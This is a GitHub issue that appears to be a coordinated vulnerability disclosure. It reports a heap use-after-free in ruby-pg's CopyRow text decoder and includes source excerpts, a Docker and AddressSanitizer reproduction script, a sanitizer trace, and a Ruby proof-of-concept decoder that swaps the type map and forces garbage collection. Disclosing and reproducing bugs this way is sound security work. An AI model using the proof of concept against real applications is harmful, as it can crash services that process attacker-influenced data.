Skip to content

DFVULN-798: Type Map Mutation in PG::TextDecoder::CopyRow Causes Use-After-Free #707

@larskanis

Description

@larskanis

Summary

PG::TextDecoder::CopyRow caches the decoder type map pointer before decoding fields. A Ruby decoder callback can replace copy_row.type_map and force GC, freeing the old type map while the C loop still uses its raw pointer.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

The decoder takes a raw t_typemap * from this->typemap once before the field loop.

t_typemap *p_typemap;

p_typemap = RTYPEDDATA_DATA( this->typemap );
expected_fields = p_typemap->funcs.fit_to_copy_get( this->typemap );

ext/pg_copy_coder.c:533

Each non-null field calls back through that cached pointer. User-defined decoders run Ruby code and can mutate copy_row.type_map.

rb_str_set_len( field_str, output_ptr - RSTRING_PTR(field_str) );
field_value = p_typemap->funcs.typecast_copy_get( p_typemap, field_str, fieldno, 0, enc_idx );

ext/pg_copy_coder.c:697

After the callback replaces the type map and GC frees the old one, the next use of p_typemap is a use-after-free.

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-798 && cp poc.rb dfvuln-798/ && cd dfvuln-798
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==595==ERROR: AddressSanitizer: heap-use-after-free
READ of size 8
    #0 0xffff9f973e9c in pg_text_dec_copy_row /tmp/src/ext/pg_copy_coder.c:698
    #1 0xffff9f95d928 in pg_coder_decode /tmp/src/ext/pg_coder.c:260
freed by thread T0 here:
    #0 0xffffa33ca5a0 in __interceptor_free
    #1 0xffffa2e5dbdc in objspace_xfree /usr/src/ruby/gc.c:12832
SUMMARY: AddressSanitizer: heap-use-after-free /tmp/src/ext/pg_copy_coder.c:698 in pg_text_dec_copy_row

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true
require 'pg'
require 'weakref'

class EvilDecoder < PG::SimpleDecoder
  attr_accessor :copy, :new_tm, :old_tm_ref

  def old_tm_alive?
    old_tm_ref.__getobj__
    true
  rescue WeakRef::RefError
    false
  end

  def decode(str, tuple = nil, field = nil)
    puts "field0 start old_typemap_alive=#{old_tm_alive?}"
    copy.type_map = new_tm
    GC.start(full_mark: true, immediate_sweep: true)
    puts "field0 after swap old_typemap_alive=#{old_tm_alive?}"
    str
  end
end

copy = PG::TextDecoder::CopyRow.new
evil = EvilDecoder.new
evil.copy = copy
evil.new_tm = PG::TypeMapByColumn.new([
  PG::TextDecoder::String.new,
  PG::TextDecoder::String.new,
])
old_tm = PG::TypeMapByColumn.new([
  evil,
  PG::TextDecoder::String.new,
])
evil.old_tm_ref = WeakRef.new(old_tm)
copy.type_map = old_tm
old_tm = nil

puts "pre_decode old_typemap_alive=#{evil.old_tm_alive?}"
copy.decode("a\tb\n")

Security Impact

This is a native use-after-free during COPY text decoding. It can crash applications that decode attacker-influenced COPY rows with mutable custom decoders.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions